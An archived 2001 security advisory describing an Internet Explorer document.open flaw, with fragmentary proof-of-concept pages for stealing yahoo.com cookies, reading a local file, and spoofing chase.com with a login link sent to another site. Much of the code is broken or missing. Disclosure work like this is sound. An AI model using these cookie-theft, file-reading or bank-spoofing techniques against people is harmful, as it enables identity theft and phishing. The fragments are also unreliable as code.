TUCoPS :: Browsers :: expl4944.htm

Internet Explorer document.open method allows access to local files and cookies
20th Dec 2001 [SBWID-4944]

	IE document.open method allows access to local files and cookies


	 Tested on :

	 IE 6.0.2600.0000 + Windows 2000 Update Versions:Q312461,Q240308,Q313675

	 IE 5.5 SP2

	 IE 5.50.4807.2300


	the Pull published [http://www.osioniusx.com] :

	By  simply  using  the  document.open   method   and   not   using   the
	document.close method you are able to: steal cookies; read  local  files
	that are parsable by IE(mime type text/html  to  be  exact);  and  spoof

	Exploits on : http://www.osioniusx.com

	\"cookieStealing.html\" - This opens Yahoo.com and steals the cookie.



	<title>Cookie Stealing</title>



	<P>This page shows how this bug can be used to steal cookies. For this example 

	  I use yahoo.com and a five second timeout (wait five seconds after the window 

	  opens). Cookie stealing can result in impersonation, stealing of Credit Card 

	  numbers, etc. 


	var y = document.open( \"http://www.yahoo.com\", \"x\", \"width=400,height=400,status = yes, location = yes,resizable = yes, toolbar=yes\" );







	\"FileReading.html\" - This opens up C:\\test.txt and then reads it.



	<title>File Reading</title>



	This page shows local file reading with this bug. The file being read is c:\\test.txt. 

	This could be used to gather various types of passwords, and other local information you do not

	want malicious, remote users to have.


	var y = document.open( \"c:/test.txt\", \"x\", \"width=400,height=400,status = yes, location = yes,resizable = yes, toolbar=yes\" );






	\"SiteSpoofing.html\" - This spoofs www.chase.com  --  chase.com  is  in
	the url, the title, and there is a link on the page to log  on  to  your
	account which comes back to www.osioniusx.com.



	<title>Web Site Spoofing</title>




	s=\'<title>Chase</title>Chase Bank content could go here <br><br><a href=http://www.osioniusx.com/>LogOn To Your Bank Account</a>\';


	var y = document.open( \"http://www.chase.com\", \"x\", \"status = yes, location = yes,resizable = yes, toolbar=yes, directories=yes,menubar=yes\" );






	Update by Rogan Dawes :

	if you use an \"https://\" URL, it also shows THAT in the location bar.

	Naturally, there are no  SSL  indicators  (padlock,  Secure  properties,

	For the paranoid among us (i.e. you have the alerts turned on), IE  DOES
	warn that you are entering and then LEAVING a secure  session,  but  the
	fact remains that the Location field shows \"https://\"

	It doesn\'t seem to work for documents containing frames, however.

	And you can get the logo to stop spinning by  doing  the  document.close
	inside the timeout call. (If you look at the source of the spoofed  page
	demo, you\'ll see what I mean.)




	Jelmer posted recently a similar exploit and \"the Pull\" added :


	\"        extDoc =



	 var y = document.open( \"c:/test.txt\", \"x\",

	\"width=400,height=400,status = yes, location =

	yes,resizable = yes, toolbar=yes\" ); 


	It doesn\'t matter if it is  \"cmd  =


	\"Jscript\");\';\" that is able to read the code or this:


	-- they are just the same thing.

	(ref: http://www.osioniusx.com document.write()) bug.


	Basically, the problem  is  that  when  the  document.write()  uses  the
	window.open() method as described on the msdn  website  for  the  method




	None yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH